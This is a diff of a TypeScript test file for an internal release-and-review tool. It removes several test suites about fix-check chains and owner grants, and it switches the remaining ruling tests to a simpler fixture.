- expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}`);
- expect(r.stdout).not.toContain('not applied');
- });
-
- test('an unruled skipped CRITICAL stays open: one ruling of two leaves the fix-check uncounted', () => {
- const { f, passHead, reviewed, post } = grantedFixCheck(QM3122);
- expect(rule(f, RACE, passHead).status).toBe(0);
- const r = finish(f, reviewed, post);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')]).toEqual([3, NOT_CLEAN]);
- expect(r.stdout).toContain('STOP: behavior, tests or build inputs changed since review (src/x.ts,test/x.test.ts)');
- expect(r.stdout.split('\n').filter(l => l.startsWith('RULED_NOTE: ')).length).toBe(1);
- });
-
- test('a forged ruling is refused: the lane\'s own row, an add with the ruling scope, a ruling inside the open /ship run, and a ruling gstack wrote', () => {
- const forged = { ...QM3122, findings: QM3122.findings.map(x => x.severity === 'CRITICAL' ? { ...x, action: 'skipped', ruled: 'note', ruled_by: 'qm minder (CAPY-1)', ruled_reason: 'owner said so', ruled_at: '2026-11-05T00:00:00Z' } : x) };
- const { f, passHead, reviewed, post } = grantedFixCheck(forged);
- expect(lineOf(finish(f, reviewed, post).stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
- logFixCheck(f, { range_base: f.git('rev-parse', 'HEAD~1').stdout.trim(), ...QM3122, findings: QM3122.findings.map(x => x.severity === 'CRITICAL' ? { ...x, action: 'ruled' } : x) });
- expect(lineOf(finish(f, reviewed, post).stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
-
+ test('a forged ruling is refused: an add with the ruling scope, a ruling inside the open /ship run, and a ruling gstack wrote', () => {
+ const { f, passHead } = rulingHead();
const add = run(f, 'gstack-approvals', ['add', '--ask', 'ruled_note: owner said so', '--words', 'notes', '--by', 'qm minder (CAPY-1)', '--scope', `ruled_note ${RACE}`]);
expect([add.status, add.stderr]).toEqual([EXIT.usage, expect.stringContaining('gstack-approvals rule')]);
@@ -115,23 +50,11 @@ describe('finish with owner-ruled notes (GST-1537)', () => {
const self = rule(f, RACE, passHead, 'gstack no-stop default (K1)');
expect([self.status, self.stderr]).toEqual([EXIT.usage, expect.stringContaining('--by')]);
- expect(lineOf(finish(f, reviewed, post).stdout, 'FIX_CHECK')).toBe(NOT_CLEAN);
- });
-
- // Value: protects=a ruling closes only findings on a fix-check whose range holds the head the owner ruled at; a ruling made at
- // an earlier /ship's head stays listed but closes nothing; fails_when=a ruling closes a later finding at the same fingerprint;
- // seam=finish's route matching each ruling's head to the fix-check row's range_base..commit
- test('a ruling at an earlier head leaves the CRITICAL open and is listed as not applied', () => {
- const { f, reviewed, post } = grantedFixCheck(QM3122);
- const mergeBase = f.git('merge-base', 'main', 'HEAD').stdout.trim();
- for (const finding of [RACE, AMBIENT]) expect(rule(f, finding, mergeBase).status).toBe(0);
- const r = finish(f, reviewed, post);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')]).toEqual([3, NOT_CLEAN]);
- expect(r.stdout.split('\n').filter(l => l.startsWith('RULED_NOTE: ')).map(l => l.endsWith(" (outside this fix-check's range; not applied)"))).toEqual([true, true]);
+ expect(run(f, 'gstack-approvals', ['rulings']).stdout).toBe('RULED_NOTES: none\n');
});
test('rule refuses a missing --head, a head that is not a commit and a multi-line reason', () => {
- const { f, passHead } = grantedFixCheck(QM3122);
+ const { f, passHead } = rulingHead();
const tree = f.git('rev-parse', 'HEAD^{tree}').stdout.trim();
for (const args of [['--finding', RACE], ['--finding', RACE, '--head', '0123456789abcdef'], ['--finding', RACE, '--head', tree]]) {
const r = run(f, 'gstack-approvals', ['rule', ...args, '--reason', 'a note', '--words', 'notes', '--by', 'qm minder (CAPY-1)']);
@@ -145,7 +68,7 @@ describe('finish with owner-ruled notes (GST-1537)', () => {
// Value: protects=one owner reply ruling two findings with the same reason records both; fails_when=the second ruling
// hashes to the first row's id and is skipped as already present, leaving its finding open; seam=gstack-approvals rule
test('two rulings with the same reason, words and ruler both record', () => {
- const { f, passHead } = grantedFixCheck(QM3122);
+ const { f, passHead } = rulingHead();
const same = (finding: string) => run(f, 'gstack-approvals', ['rule', '--finding', finding, '--head', passHead, '--reason', 'both ship as disclosed notes', '--words', 'both are notes, not fixes', '--by', 'qm minder (CAPY-1)', '--json']);
const [a, b] = [same(RACE), same(AMBIENT)];
expect([a.status, b.status, JSON.parse(b.stdout).skipped]).toEqual([0, 0, 0]);
@@ -155,7 +78,7 @@ describe('finish with owner-ruled notes (GST-1537)', () => {
// Value: protects=nothing ruled is hidden (R73): the receipt records every ruling and write refuses a PR body that does not
// list each one word for word; fails_when=write drops the rulings or accepts a body without them; seam=gstack-ship-receipt write
test('the receipt records every ruling, and write refuses a body that does not list each one', () => {
- const { f, passHead } = grantedFixCheck(QM3122);
+ const { f, passHead } = rulingHead();
for (const finding of [RACE, AMBIENT]) expect(rule(f, finding, passHead).status).toBe(0);
const listed = run(f, 'gstack-approvals', ['rulings']);
expect(listed.status).toBe(0);
@@ -176,72 +99,6 @@ describe('finish with owner-ruled notes (GST-1537)', () => {
});
});
-// Value: protects=the trail names the owner approval that actually covered the fix-check (gstack-evals#244: finish named the
-// earlier fix-check's grant a-ab110530e792 for fc4, whose grant was a-eaa651ef9ed3); fails_when=finish takes the first approved
-// review_loop_grant naming any commit in range_base..commit; seam=finish's route picking the grant for the FIX_CHECK line
-describe('finish names the grant that covers the counted fix-check (GST-1610)', () => {
- test('two grants at different stop heads: the line names the later fix-check\'s own grant', () => {
- const CLEAN = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- ships.push(f);
- const passHead = f.git('rev-parse', 'HEAD').stdout.trim();
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const post = path.join(f.root, 'post.json');
- expect(f.run(path.join(BIN, 'gstack-docs-candidate'), ['snapshot', '--out', post, '--audit-id', 'a1', '--mode', 'edit', '--base', 'main', '--docs', 'README.md']).status).toBe(0);
- const grantAt = (head: string, n: string) => {
- const g = run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: scoped fix-check ${n} (review_loop_grant ${head.slice(0, 12)})`, '--words', `fix-check ${n}`, '--by', 'evals minder (GEVA-2)', '--scope', 'this /ship invocation', '--json']);
- expect(g.status, g.stderr).toBe(0);
- return JSON.parse(g.stdout).added[0] as string;
- };
- const first = grantAt(passHead, 'fc3');
- f.write({ 'src/x.ts': 'export const x = 3;\n' }); f.commit('fix the fc3 blocker');
- const fc3Head = f.git('rev-parse', 'HEAD').stdout.trim();
- logFixCheck(f, { range_base: passHead, ...CLEAN });
- const second = grantAt(fc3Head, 'fc4');
- f.write({ 'test/x.test.ts': TEST_V2 }); f.commit('fix the fc4 blocker');
- const fc4Head = f.git('rev-parse', 'HEAD').stdout.trim();
- logFixCheck(f, { range_base: passHead, ...CLEAN });
- expect(first).not.toBe(second);
- const r = finish(f, reviewed, post);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fc4Head.slice(0, 12)}, range from ${passHead.slice(0, 12)}, grant ${second})`);
- });
-});
-
-// GST-1627: finish chains contiguous review-fix-check rows back to the reviewed tree. #4063 (GSTA-343): fc3 read the fix
-// after round 2 (range from the stop head to 265d868), then the owner granted fc4 on the base-merge resolution (range from
-// 265d868 to the merge). finish read only the newest row and required its range to start at the reviewed tree, so fc4
-// unbound fc3 and the lane logged a synthetic combined row.
-const TEST_V3 = "import { expect, test } from 'bun:test';\ntest('a', () => { expect(2).toBe(2); }, 2_000);\n";
-const CLEAN_ROW = { completed: true, converged: true, status: 'clean', issues_found: 0, critical: 0, informational: 0, findings: [] };
-const headOf = (f: ShipFx) => f.git('rev-parse', 'HEAD').stdout.trim();
-const logLink = (f: ShipFx, rangeBase: string) => logFixCheck(f, { range_base: rangeBase, ...CLEAN_ROW });
-const grantLink = (f: ShipFx, stop: string, n: string) => {
- const g = run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: scoped fix-check ${n} (review_loop_grant ${stop.slice(0, 12)})`, '--words', `fix-check ${n}`, '--by', 'gstack minder (GSTA-36)', '--scope', 'this /ship invocation', '--json']);
- expect(g.status, g.stderr).toBe(0);
- return JSON.parse(g.stdout).added[0] as string;
-};
-
-/**
- * Round 2 stopped at passHead (the reviewed tree), the owner granted fc3, and fc3 read the fix to src/x.ts and its test.
- * Then the base moved src/x.ts, the merge conflicted, and the resolution is the merge commit fc4 reads.
- */
-function mergeShape(o: { grantFc3?: boolean } = {}) {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- ships.push(f);
- const passHead = headOf(f);
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- const g3 = o.grantFc3 === false ? null : grantLink(f, passHead, 'fc3');
- f.write({ 'src/x.ts': 'export const x = 3;\n', 'test/x.test.ts': TEST_V2 }); f.commit('fix the round-2 blocker');
- const fc3 = headOf(f);
- logLink(f, passHead);
- f.advanceBase({ 'src/x.ts': 'export const x = 10;\n' });
- expect(f.git('fetch', '-q', 'origin').status).toBe(0);
- expect(f.git('merge', '-q', '--no-edit', 'origin/main').status).not.toBe(0);
- f.write({ 'src/x.ts': 'export const x = 13;\n' }); f.commit('merge origin/main: resolve src/x.ts');
- const fc4 = headOf(f);
- return { f, passHead, reviewed, reviewedBase, g3, fc3, fc4 };
-}
/** Step 14.5's docs audit runs on the final head, then finish. */
function finishAfterAudit(f: ShipFx, reviewed: string, reviewedBase: string) {
const post = path.join(f.root, 'post.json');
@@ -249,139 +106,6 @@ function finishAfterAudit(f: ShipFx, reviewed: string, reviewedBase: string) {
return f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--reviewed-base', reviewedBase, '--lane', LANE]);
}
-describe('finish chains contiguous fix-check rows (GST-1627)', () => {
- // Value: protects=the #4063 shape binds without a synthetic row: fc3 (range from the reviewed tree) and fc4 (range from fc3's
- // commit over the merge resolution) both count, each under its own grant; fails_when=finish reads only the newest row and refuses
- // fc4's range_base as not the reviewed tree, so src/x.ts and the test route as behavior; seam=finish's route reading the review log
- test('#4063: fc3 at its fix, then fc4 over the merge resolution, and finish counts both', () => {
- const { f, passHead, reviewed, reviewedBase, g3, fc3, fc4 } = mergeShape();
- const g4 = grantLink(f, fc3, 'fc4');
- logLink(f, fc3);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check chain of 2 from ${passHead.slice(0, 12)}: at ${fc3.slice(0, 12)} grant ${g3}; at ${fc4.slice(0, 12)} grant ${g4})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-
- // Value: protects=a chain links only through each earlier fix-check's own commit: a commit between fc3 and fc4 that no fix-check
- // read breaks it and finish refuses; fails_when=finish links rows by order alone or counts fc4 from any earlier branch commit;
- // seam=finish's chain walk
- test('a gap in the chain refuses: fc4\'s range starts at a commit no fix-check ends at', () => {
- const { f, reviewed, reviewedBase, fc4 } = mergeShape();
- f.write({ 'src/x.ts': 'export const x = 14;\n' }); f.commit('an unread edit');
- const gap = headOf(f);
- f.write({ 'test/x.test.ts': TEST_V3 }); f.commit('the fc4 fix');
- grantLink(f, gap, 'fc4');
- logLink(f, gap);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect(fc4).not.toBe(gap);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: not counted (range_base ${gap.slice(0, 12)} does not hold the reviewed tree)`);
- expect([r.status, r.stdout.includes('STOP: behavior, tests or build inputs changed since review (src/x.ts,test/x.test.ts)')], r.stdout).toEqual([3, true]);
- });
-
- // Value: protects=every link is a granted fix-check: an earlier row the owner never granted does not ride on the later grant whose
- // stop head is its commit; fails_when=a grant at fc3's commit counts for both fc3 and fc4; seam=finish's per-row grant match
- test('a link without its own grant refuses the chain', () => {
- const { f, reviewed, reviewedBase, fc3 } = mergeShape({ grantFc3: false });
- grantLink(f, fc3, 'fc4');
- logLink(f, fc3);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toBe(`FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit; fix-check at ${fc3.slice(0, 12)}, link 1 of 2)`);
- expect(r.status).toBe(3);
- });
-
- // Value: protects=one owner grant covers one fix-check: a grant whose text names a stop head in each link's range counts for the
- // newest link only; fails_when=finish matches every sha in a grant row against every link and counts one grant twice;
- // seam=finish's per-row grant match
- test('one grant naming both links\' stop heads counts for one link, and the chain refuses', () => {
- const { f, passHead, reviewed, reviewedBase, fc3 } = mergeShape({ grantFc3: false });
- const g = run(f, 'gstack-approvals', ['add', '--ask', `Owner grant: one scoped fix-check (review_loop_grant ${passHead.slice(0, 12)}, review_loop_grant ${fc3.slice(0, 12)})`, '--words', 'one scoped fix-check', '--by', 'gstack minder (GSTA-36)', '--scope', 'this /ship invocation', '--json']);
- expect(g.status, g.stderr).toBe(0);
- logLink(f, fc3);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, `FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit; fix-check at ${fc3.slice(0, 12)}, link 1 of 2)`]);
- });
-});
-
-/**
- * GST-1676 (founderstar#634, FOUN-117): the post-review flow grants each fix-check at its own stop head, which is the
- * commit that fix-check reads. Link 1's grant names link 1's commit (05a0db1c) and link 2's names link 2's (9ab970db),
- * so the boundary is both link 1's stop head and link 2's range_base.
- */
-function postReviewShape() {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- ships.push(f);
- const passHead = headOf(f);
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- f.write({ 'src/x.ts': 'export const x = 3;\n' }); f.commit('edit after the review bound');
- const link1 = headOf(f);
- return { f, passHead, reviewed, reviewedBase, link1 };
-}
-
-describe('finish counts a post-review fix-check chain whose grants name each link\'s own commit (GST-1676)', () => {
- // Value: protects=the #634 shape binds: link 1's grant names its own commit, which is also link 2's range_base, and link 2's
- // grant names link 2's commit, so each link has its own grant and the chain counts; fails_when=finish refuses an earlier
- // link's grant at its own commit (FIX_CHECK: not counted ... link 1 of 2) and src/x.ts routes as behavior;
- // seam=finish's per-link grant assignment
- test('#634: two post-review links, each granted at its own commit, and finish counts the chain', () => {
- const { f, passHead, reviewed, reviewedBase, link1 } = postReviewShape();
- const g1 = grantLink(f, link1, 'fc1');
- logLink(f, passHead);
- f.write({ 'test/x.test.ts': TEST_V2 }); f.commit('a second edit after the review bound');
- const link2 = headOf(f);
- const g2 = grantLink(f, link2, 'fc2');
- logLink(f, link1);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check chain of 2 from ${passHead.slice(0, 12)}: at ${link1.slice(0, 12)} grant ${g1}; at ${link2.slice(0, 12)} grant ${g2})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-
- // Value: protects=a grant at the boundary still counts once: with only link 1's grant (at link 1's commit) recorded, the newer
- // link takes it and link 1 stays ungranted; fails_when=one grant row counts for both links once an earlier link may use its
- // own commit; seam=finish's newest-first, one-grant-per-link assignment
- test('only link 1\'s grant: it goes to the newer link, and link 1 is ungranted', () => {
- const { f, passHead, reviewed, reviewedBase, link1 } = postReviewShape();
- grantLink(f, link1, 'fc1');
- logLink(f, passHead);
- f.write({ 'test/x.test.ts': TEST_V2 }); f.commit('a second edit after the review bound');
- logLink(f, link1);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK')], r.stdout).toEqual([3, `FIX_CHECK: not counted (no approved review_loop_grant names a stop head inside its range_base..commit; fix-check at ${link1.slice(0, 12)}, link 1 of 2)`]);
- });
-});
-
-/**
- * GST-1681 (GEVA-363, gstack-evals#254): pass 1, then fc1 (round 2) at the stop the voices read, then the owner's grant at that
- * stop head buys fc2, and a second grant at fc2's commit (its stop head) buys a third round, fc3. Each in-loop grant names the
- * stop it answers, the link's own range_base.
- */
-describe('finish counts a Captain-granted third fix round as a chained fix-check (GST-1681)', () => {
- // Value: protects=the GEVA-363 shape counts once fc3 is a planned fix-check: fc2 and fc3 each carry their own grant, the chain stops
- // at fc1's tree (the reviewed tree), and the ungranted in-cap fc1 row is not a link; fails_when=finish refuses fc3 (GEVA-363
- // printed FIX_CHECK: not counted) or asks fc1 for a grant; seam=finish's chain walk and per-link grant assignment
- test('GEVA-363: fc1 in the cap, then fc2 and fc3 under their own grants, and finish counts fc2..fc3', () => {
- const f = shipFixture({ 'src/x.ts': 'export const x = 1;\n' }, { 'src/x.ts': 'export const x = 2;\n', 'test/x.test.ts': TEST_V1 });
- ships.push(f);
- const p1 = headOf(f);
- f.write({ 'src/x.ts': 'export const x = 3;\n' }); f.commit('round 1 fixes');
- const fc1 = headOf(f);
- logLink(f, p1);
- const reviewed = f.run(path.join(BIN, 'gstack-wtree'), []).stdout.trim();
- const reviewedBase = f.git('merge-base', 'origin/main', 'HEAD').stdout.trim();
- const g2 = grantLink(f, fc1, 'fc2');
- f.write({ 'src/x.ts': 'export const x = 4;\n' }); f.commit('fix the voices\' CRITICAL');
- const fc2 = headOf(f);
- logLink(f, fc1);
- const g3 = grantLink(f, fc2, 'fc3');
- f.write({ 'test/x.test.ts': TEST_V2 }); f.commit('fix fc2\'s CRITICAL');
- const fc3 = headOf(f);
- logLink(f, fc2);
- const r = finishAfterAudit(f, reviewed, reviewedBase);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check chain of 2 from ${fc1.slice(0, 12)}: at ${fc2.slice(0, 12)} grant ${g2}; at ${fc3.slice(0, 12)} grant ${g3})`);
- expect([r.status, lineOf(r.stdout, 'ROUTE')], r.stdout).toEqual([0, expect.stringMatching(/ behavior=0 .* fix_checked=2$/)]);
- });
-});
-
describe('ruledNotes reads only approved owner rulings (GST-1537)', () => {
const HEAD = '0123456789abcdef0123456789abcdef01234567';
const row = (finding: string, o: Partial<{ ask: string; scope: string; by: string; outcome: string }> = {}) => {
@@ -400,98 +124,6 @@ describe('ruledNotes reads only approved owner rulings (GST-1537)', () => {
});
});
-// harness-evals#361 (GST-2251): round 2 stopped, the owner granted one scoped fix-check, it read the fix and found two new
-// CRITICALs, so it logged converged:false (review-army decision 3.5 sends a CRITICAL to decision 2). The owner accepted both
-// as disclosed notes. finish refused the row as nonconverged before reading any ruling, and the lane's review-loop exception,
-// which accepts edits after a fix-check, accepted nothing, so nothing pointed at the ruling the docs name.
-const NEW_A = 'src/x.ts:1:unbounded-retry';
-const NEW_B = 'src/x.ts:1:lost-ack';
-const HE361 = {
- completed: true, converged: false, status: 'issues_found', issues_found: 2, critical: 2, informational: 0,
- findings: [
- { fingerprint: NEW_A, severity: 'CRITICAL', action: 'open', locus: 'fix-range', blocking: true, raised_by: 'fix-check' },
- { fingerprint: NEW_B, severity: 'CRITICAL', action: 'open', locus: 'diff', blocking: true, raised_by: 'targeted' },
- ],
-};
-const NONCONVERGED = 'FIX_CHECK: not counted (missing start capture or incomplete/nonconverged pass)';
-const openLine = (findings: string[], head: string) => `FIX_CHECK_OPEN: ${findings.join(',')} on the fix-check at ${head.slice(0, 12)}: the owner rules each one a disclosed note with gstack-approvals rule --finding <fingerprint> --head ${head.slice(0, 12)} --reason '<why>' --words '<owner\'s exact words>' --by '<owner>'; a review-loop exception accepts edits after a fix-check, never its findings (docs/troubleshooting.md#fix-check-open)`;
-const exception = (head: string) => ['--review-loop-exception', JSON.stringify({ accepted_by: 'harness minder (HARN-1)', date: '2026-11-09', via: 'a-9628d51bef2d', reason: 'both ship as open notes', fix_check: { head, findings: 2 } })];
-const finishLoop = (f: ShipFx, reviewed: string, post: string, head: string) => f.run(RELEASE, ['finish', '--base', 'main', '--reviewed-tree', reviewed, '--docs-post', post, '--lane', LANE, ...exception(head)]);
-
-// Value: protects=an owner's rulings close a granted fix-check's own new CRITICALs, so finish counts it at its head and lists
-// every ruling (harness-evals#361); fails_when=finish refuses the fix-check as nonconverged after both rulings, or binds with
-// one finding unruled, or never names the ruling the owner needs; seam=finish's route reading the review log and the approval
-// record; no_claim=Step 11.5's full-pass binding
-describe('a granted fix-check that found new CRITICALs the owner accepted (harness-evals#361, GST-2251)', () => {
- test('#361: finish names the open findings, then binds at the fix-check head once the owner rules both', () => {
- const { f, passHead, fixHead, reviewed, post, grant } = grantedFixCheck(HE361);
- const before = finishLoop(f, reviewed, post, fixHead);
- expect([before.status, lineOf(before.stdout, 'FIX_CHECK'), lineOf(before.stdout, 'FIX_CHECK_OPEN')]).toEqual([3, NONCONVERGED, openLine([NEW_A, NEW_B], fixHead)]);
- expect(lineOf(before.stdout, 'REVIEW_LOOP_EXCEPTION')).toStartWith(`REVIEW_LOOP_EXCEPTION: accepted none (changed since fix-check ${fixHead.slice(0, 12)}`);
- for (const finding of [NEW_A, NEW_B]) expect(rule(f, finding, fixHead, 'harness minder (HARN-1)').status).toBe(0);
- const r = finishLoop(f, reviewed, post, fixHead);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toBe(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}, range from ${passHead.slice(0, 12)}, grant ${grant})`);
- expect(lineOf(r.stdout, 'FIX_CHECK_OPEN')).toBe('');
- expect(r.stdout.split('\n').filter(l => l.startsWith('RULED_NOTE: '))).toEqual([NEW_A, NEW_B].map(x => expect.stringMatching(new RegExp(`^RULED_NOTE: ${x} at ${fixHead.slice(0, 12)} ruled by harness minder \\(HARN-1\\) at .*\\(approval a-[0-9a-f]{12}\\)$`))));
- expect(r.status, r.stdout).toBe(0);
- const listed = run(f, 'gstack-approvals', ['rulings']).stdout.trim().split('\n');
- expect(listed).toEqual([NEW_A, NEW_B].map(x => expect.stringMatching(new RegExp(`^Ruled note: ${x} at ${fixHead.slice(0, 12)} ruled by harness minder`))));
- });
-
- test('one ruling of two leaves the fix-check uncounted and names the finding still open', () => {
- const { f, fixHead, reviewed, post } = grantedFixCheck(HE361);
- expect(rule(f, NEW_A, fixHead).status).toBe(0);
- const r = finishLoop(f, reviewed, post, fixHead);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK'), lineOf(r.stdout, 'FIX_CHECK_OPEN')]).toEqual([3, NONCONVERGED, openLine([NEW_B], fixHead)]);
- });
-
- test('the lane\'s own claim rules nothing, and a ruling at a head outside the fix-check\'s range closes nothing', () => {
- const claimed = { ...HE361, findings: HE361.findings.map(x => ({ ...x, ruled: 'note', ruled_by: 'harness minder (HARN-1)', approval: 'a-9628d51bef2d' })) };
- const { f, fixHead, reviewed, post } = grantedFixCheck(claimed);
- expect(lineOf(finishLoop(f, reviewed, post, fixHead).stdout, 'FIX_CHECK')).toBe(NONCONVERGED);
- const mergeBase = f.git('merge-base', 'main', 'HEAD').stdout.trim();
- for (const finding of [NEW_A, NEW_B]) expect(rule(f, finding, mergeBase).status).toBe(0);
- const r = finishLoop(f, reviewed, post, fixHead);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK'), lineOf(r.stdout, 'FIX_CHECK_OPEN')]).toEqual([3, NONCONVERGED, openLine([NEW_A, NEW_B], fixHead)]);
- expect(r.stdout.split('\n').filter(l => l.startsWith('RULED_NOTE: ')).every(l => l.endsWith(" (outside this fix-check's range; not applied)"))).toBe(true);
- });
-
- test('an open INFORMATIONAL beside the two ruled CRITICALs keeps the fix-check uncounted and is named, then binds once ruled', () => {
- const NEW_C = 'src/x.ts:1:retry-log';
- const row = { ...HE361, issues_found: 3, critical: 2, informational: 1, findings: [...HE361.findings, { fingerprint: NEW_C, severity: 'INFORMATIONAL', action: 'open', locus: 'diff', blocking: false, raised_by: 'fix-check' }] };
- const { f, fixHead, reviewed, post } = grantedFixCheck(row);
- for (const finding of [NEW_A, NEW_B]) expect(rule(f, finding, fixHead).status).toBe(0);
- const before = finishLoop(f, reviewed, post, fixHead);
- expect([before.status, lineOf(before.stdout, 'FIX_CHECK'), lineOf(before.stdout, 'FIX_CHECK_OPEN')]).toEqual([3, NONCONVERGED, openLine([NEW_C], fixHead)]);
- expect(rule(f, NEW_C, fixHead).status).toBe(0);
- const r = finishLoop(f, reviewed, post, fixHead);
- expect(lineOf(r.stdout, 'FIX_CHECK'), r.stdout).toStartWith(`FIX_CHECK: reviewed src/x.ts,test/x.test.ts (fix-check at ${fixHead.slice(0, 12)}`);
- expect(lineOf(r.stdout, 'FIX_CHECK_OPEN')).toBe('');
- expect(r.status, r.stdout).toBe(0);
- });
-
- // Value: protects=nothing binds without an owner row: a skipped non-CRITICAL finding the reader marked blocking stays open
- // beside a ruled open CRITICAL; fails_when=the ruled CRITICAL clears the row while the skipped blocker has no ruling;
- // seam=withoutRuledNotes and FIX_CHECK_OPEN
- test('a skipped blocking finding with no ruling keeps the row unbound beside a ruled open CRITICAL, and is named', () => {
- const SKIPPED = 'src/x.ts:1:skipped-blocker';
- const row = { ...HE361, issues_found: 2, critical: 1, informational: 1, findings: [HE361.findings[0], { fingerprint: SKIPPED, severity: 'INFORMATIONAL', action: 'skipped', locus: 'fix-range', blocking: true, raised_by: 'fix-check' }] };
- const { f, fixHead, reviewed, post } = grantedFixCheck(row);
- expect(rule(f, NEW_A, fixHead).status).toBe(0);
- const r = finishLoop(f, reviewed, post, fixHead);
- expect([r.status, lineOf(r.stdout, 'FIX_CHECK'), lineOf(r.stdout, 'FIX_CHECK_OPEN')]).toEqual([3, NONCONVERGED, openLine([SKIPPED], fixHead)]);
- });
-
- test('an edit after the fix-check head still routes as behavior without an exception that accepts it', () => {
- const { f, fixHead, reviewed, post } = grantedFixCheck(HE361);
- for (const finding of [NEW_A, NEW_B]) expect(rule(f, finding, fixHead).status).toBe(0);
- f.write({ 'src/x.ts': 'export const x = 4;\n' }); f.commit('edit after the fix-check');
- const r = finish(f, reviewed, post);
- expect(r.status).toBe(3);
- expect(lineOf(r.stdout, 'FIX_CHECK')).toStartWith('FIX_CHECK: reviewed test/x.test.ts (fix-check at');
- expect(r.stdout).toContain('STOP: behavior, tests or build inputs changed since review (src/x.ts)');
- });
-});
// Value: protects=a ruling relayed into an open /ship run records the owner's words with a checkable source and says so in the
// row, the Ruled note line and the receipt, while a ruling with no owner reference still refuses under its own code;
@@ -499,7 +131,7 @@ describe('a granted fix-check that found new CRITICALs the owner accepted (harne
// or is not marked relayed; seam=gstack-approvals rule|rulings|list and gstack-ship-receipt write
describe('a ruling relayed into an open /ship run (GBRA-108, gbrain #9762)', () => {
test('without --owner-ref it refuses as APPROVAL_RULING_RUN_OPEN; with one it records and marks the ruling relayed', () => {
- const { f, passHead } = grantedFixCheck(QM3122);
+ const { f, passHead } = rulingHead();
const marker = path.resolve(f.work, f.git('rev-parse', '--git-path', 'gstack-ship-run').stdout.trim());
fs.writeFileSync(marker, 'ship-9762-abc\n');
const bare = rule(f, RACE, passHead, 'GBrain Minder (GBRA-108)');
@@ -523,7 +155,6 @@ describe('a ruling relayed into an open /ship run (GBRA-108, gbrain #9762)', ()
});
});
-
// harness-evals#498 (HARN-1, 2026-11-20, b48a1c11bc5a): round 2 of 2 stopped on 22 blocking findings across the final full
// review and the native reader, each logged open with converged:false, so both rows bind `incomplete` on the tree they read.
// The owner accepted every one as an open note with gstack-approvals rule at that head, yet gstack-review-read applied no
@@ -563,8 +194,7 @@ const bound = (f: ShipFx) => ['review', 'adversarial-review'].map(s => readRow(f
// Value: protects=harness-evals#498: Step 11.5 binds the stopped final review and native reader once the owner's rulings at
// that head cover every blocking finding on them, and only then; fails_when=gstack-review-read reads either row UNVERIFIED
// after every ruling, or CURRENT with a finding unruled, or applies a ruling for another branch, head or finding, or one
-// the approvals reader rejects; seam=gstack-approvals rule and gstack-review-read on the stored rows; no_claim=finish's
-// fix-check chain (the cases above) and the receipt write
+// the approvals reader rejects; seam=gstack-approvals rule and gstack-review-read on the stored rows; no_claim=the receipt write
describe('Step 11.5 binds a stopped review the owner ruled at its head (harness-evals#498, HARN-1)', () => {
test('#498: both rows read UNVERIFIED on an incomplete binding, then CURRENT on the tree they read once every blocking finding is ruled', () => {
const { f, head, tree } = stoppedRound2();
@@ -640,8 +270,7 @@ const rowsAt = (f: ShipFx) => run(f, 'gstack-review-read', []).stdout.split('\n-
// Value: protects=harness-evals#498 after a26529ac: a stopped pass the owner's rulings leave open names every finding still
// unruled, noted CRITICALs included, and binds once those are ruled; fails_when=the reason stays the bare fallback, omits a
// noted CRITICAL, names a ruled finding, or a noted CRITICAL clears without its own ruling; seam=gstack-review-read over
